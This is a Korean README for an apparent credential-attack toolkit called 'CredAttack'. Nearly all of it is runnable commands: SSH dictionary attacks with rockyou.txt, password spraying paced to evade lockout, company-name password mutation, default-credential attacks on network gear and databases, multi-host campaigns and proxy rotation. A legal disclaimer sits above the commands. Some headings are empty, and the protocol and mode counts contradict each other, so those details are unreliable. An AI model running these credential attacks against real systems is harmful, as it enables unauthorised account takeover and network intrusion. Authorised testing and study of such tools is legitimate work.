CredAttack — 자격 증명 공격 툴킷
⚠️ 법적 고지 — 승인된 보안 테스트 전용.
본 도구를 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 사용하는 것은 미국의 Computer Fraud and Abuse Act, 영국의 Computer Misuse Act 및 전 세계의 동등한 법률에 따라 불법입니다. SECURITY.md를 참조하세요.
목차
CredAttack이란 무엇인가?
CredAttack은 승인된 침투 테스트 작업을 위한 모듈식, 프로덕션급 자격 증명 테스트 스위트입니다. 자격 증명 공격의 전체 수명 주기를 다룹니다:
| 단계 | CredAttack 기능 |
|---|
| 정찰 | 기본 자격 증명 DB(200개 이상 쌍), 스마트 사용자 이름 기반 패턴 생성 |
| 공격 | 17개 프로토콜 공격기, 6가지 공격 모드, 다중 대상 캠페인 |
|
공격 모드
지원 프로토콜
아키텍처
credattack.py ← 얇은 셸: 체크아웃에서 `python credattack.py ...` 실행
│
├── credattack/cli.py ← CLI (Typer) — 8개 공격 모드 하위 명령; pip 설치 시
│ `credattack` 콘솔 스크립트로도 동작
├── credattack/core/
│ ├── config.py ← Pydantic v2 Settings, CREDATTACK_* 환경 변수 재정의
│ ├── engine.py ← AttackEngine (ThreadPoolExecutor + Rich 진행 UI)
│ ├── lockout.py ← LockoutDetector (슬라이딩 윈도우, 스레드 안전)
│ ├── proxy.py ← ProxyRotator (라운드 로빈, 상태 확인, 강등)
│ ├── mutator.py ← PasswordMutator (leet, 계절별, 접미사, 키보드 워크…)
│ ├── result.py ← AttemptResult + SessionReport 데이터클래스
│ ├── report.py ← Jinja2 HTML 보고서 생성기
│ └── logger.py ← Rich 로깅 + JSONL 감사 기록기
│
├── credattack/protocols/
│ └── *.py ← 18개 ProtocolAttacker 구현
│
├── credattack/data/
│ ├── default_creds.json ← 200개 이상의 실제 기본 자격 증명 쌍
│ ├── smart_patterns.json ← 140개 이상의 엔터프라이즈 비밀번호 템플릿
│ └── wordlists/ ← 서비스별 기본 비밀번호 목록
│
└── tests/ ← 50개 이상의 pytest 테스트 (단위 + 프로토콜 목)
빠른 시작
# 클론 및 설정
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
# 버전 확인
python credattack.py --version
# 드라이런 (연결 없음 — 단어 목록 검증)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run
# 실제 SSH 사전 공격
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt
# 비밀번호 스프레이 (속도 제한, 잠금 방지)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30
# 스마트 모드 — 사용자 이름 + 회사에서 패턴 생성
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME
# 서비스 기본값 시도
python credattack.py defaults -t 192.168.1.100 --protocol mysql
# 다중 대상 캠페인
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
설치
옵션 A — pip + virtualenv (권장)
python -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt
옵션 B — Makefile 단축 명령
make install # 핵심 의존성
make install-dev # + pytest-cov, ruff, mypy
옵션 C — pip 설치 (editable 또는 wheel)
pip install -e . # 핵심 의존성만
pip install -e .[full] # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev] # + pytest/ruff/mypy
credattack --version # 콘솔 스크립트, `python credattack.py`와 동일
옵션 D — Docker
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help
# 단어 목록 마운트 및 출력 수집
docker run --rm \
-v $(pwd)/wordlists:/app/wordlists:ro \
-v $(pwd)/output:/app/output \
credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt
CLI 참조
전역 옵션
python credattack.py [OPTIONS] COMMAND [ARGS]...
Options:
-V, --version 버전 표시 후 종료.
--help 도움말 표시.
공통 플래그 (모든 프로토콜 명령에서 사용 가능)
하위 명령
# 프로토콜별 (각각 전용 공격기에 매핑)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
-t HOST -u USER -P passes.txt
# HTTP (폼 / basic / digest)
python credattack.py http -t http://target/login --mode form \
--form-user-field username --form-pass-field password --success-string "Dashboard"
# 스프레이 — 단일 비밀번호, 많은 사용자, 긴 지연
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30
# 콤보 — 사용자 × 비밀번호 데카르트 곱
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt
# 스마트 — OSINT 기반 생성
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp
# 기본값 — 공급업체 기본 자격 증명 시도
python credattack.py defaults -t HOST --protocol mysql
# 다중 — 여러 호스트에 동일한 공격
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt
# 전체 — 모든 프로토콜 순차 실행
python credattack.py full -t HOST -U users.txt -P passes.txt
비밀번호 변형 엔진
credattack/core/mutator.py의 PasswordMutator는 조합 가능한 전략을 지원합니다:
from credattack.core.mutator import PasswordMutator
m = PasswordMutator(max_mutations=5000)
# 모든 전략 결합
for pw in m.smart_generate("john.doe", company="ACME"):
print(pw)
# 계절별 패턴만
for pw in m.seasonal_patterns(company="Contoso"):
print(pw)
기본 자격 증명 데이터베이스
credattack/data/default_creds.json에는 다음에 대한 200개 이상의 실제 기본 자격 증명 쌍이 포함되어 있습니다:
Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI
# 서비스의 모든 기본값 보기
python credattack.py defaults -t HOST --protocol mysql --dry-run
# 대상에 대해 실행
python credattack.py defaults -t 10.0.0.1 --protocol ssh
프록시 순환
프록시 파일 전달 (줄당 하나의 프록시, host:port 형식):
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt
ProxyRotator는 시작 시 상태 확인을 수행하고 실패율 임계값을 초과하는 프록시를 강등합니다. 죽은 프록시는 자동으로 제외됩니다.
HTML 보고서
드라이런이 아닌 모든 공격 후 ./output/에 HTML 보고서가 자동 생성됩니다:
- 통계 카드: 총 시도 횟수, 성공률, 소요 시간, 초당 시도 횟수
- 발견된 자격 증명 테이블: 호스트 · 프로토콜 · 사용자 이름 · 비밀번호 (클립보드 복사)
- 다크 테마 Jinja2 템플릿
# 실행 후 열기
start output/report_*.html # Windows
open output/report_*.html # macOS
구성 및 환경 변수
credattack/core/config.py의 모든 설정은 CREDATTACK_* 환경 변수를 통해 재정의할 수 있습니다:
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2
또는 표준 플래그(--threads, --timeout 등)로 CLI 수준에서 설정할 수 있습니다.
Docker
# 이미지 빌드
docker build -t credattack -f docker/Dockerfile .
# Docker Compose로 실행
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt
# 환경 변수로 구성 설정
docker run --rm \
-e CREDATTACK_THREADS=20 \
-e CREDATTACK_TIMEOUT=3 \
-v $(pwd)/output:/app/output \
credattack defaults -t 10.0.0.1 --protocol mysql
테스트
# 모든 테스트 실행
pytest -q
# 커버리지 포함
pytest --cov=credattack --cov-report=term-missing -q
# Makefile 단축 명령
make test-cov
현재 스위트: 50개 이상의 테스트 포함:
단어 목록
⚠️ 번들된 wordlists/ 파일은 최소한의 스모크 테스트 스텁입니다. 실제 평가에는 자체 목록을 사용하세요.
권장 소스
# 외부 단어 목록 사용
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt
프로젝트 구조
credential-attacks-toolkit/
├── credattack.py # 얇은 셸 -> credattack.cli:app (소스 체크아웃 사용)
├── pyproject.toml # PEP 517/518 빌드 및 도구 구성
├── requirements.txt # 런타임 의존성
├── Makefile # 개발자 단축 명령
├── VERSION # 버전의 단일 소스
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│ └── workflows/ci.yml # GitHub Actions: 린트 + 테스트 매트릭스 + mypy
├── docker/
│ ├── Dockerfile
│ └── docker-compose.yml
├── credattack/
│ ├── cli.py # CLI (Typer) — 패키징됨, 콘솔 스크립트 지원
│ ├── core/
│ │ ├── config.py # Pydantic v2 Settings
│ │ ├── engine.py # AttackEngine (ThreadPoolExecutor)
│ │ ├── lockout.py # LockoutDetector (슬라이딩 윈도우)
│ │ ├── proxy.py # ProxyRotator
│ │ ├── mutator.py # PasswordMutator
│ │ ├── result.py # AttemptResult, SessionReport
│ │ ├── report.py # HTML 보고서 생성기
│ │ └── logger.py # Rich 로거 + JSONL 기록기
│ ├── protocols/ # 18개 ProtocolAttacker 구현
│ │ └── base.py # 추상 ProtocolAttacker
│ └── data/
│ ├── default_creds.json # 200개 이상의 공급업체 기본값
│ ├── smart_patterns.json # 140개 이상의 엔터프라이즈 템플릿
│ └── wordlists/ # 서비스별 시작 목록
├── attacks/ # 독립 실행형 단일 파일 도구 (credattack/ 이전;
│ └── *.py # 아직 이식되지 않은 스크립트용 유지: JWT 크래킹,
│ # WAF 감지, 타이밍 기반 사용자 열거)
├── utils/
│ └── credential_utils.py # attacks/ 스크립트용 공유 헬퍼
├── tests/
│ ├── conftest.py # 공유 픽스처
│ ├── test_lockout.py
│ ├── test_mutator.py
│ ├── test_mutator_extended.py
│ ├── test_proxy.py
│ ├── test_result.py
│ ├── test_protocols_ssh.py
│ ├── test_protocols_ftp.py
│ └── test_protocols_http.py
├── wordlists/ # 최소 스모크 테스트 스텁
└── output/ # 생성된 로그 및 보고서 (git 제외)
공격 성공률 (참고용)
기여
CONTRIBUTING.md를 참조하세요.
대규모 PR을 제출하기 전에 이슈를 먼저 열어주세요.
모든 기여는 SECURITY.md의 윤리적 사용 정책을 준수해야 합니다.
책임 있게 사용하세요. 윤리적으로 테스트하세요. 합법적으로 유지하세요.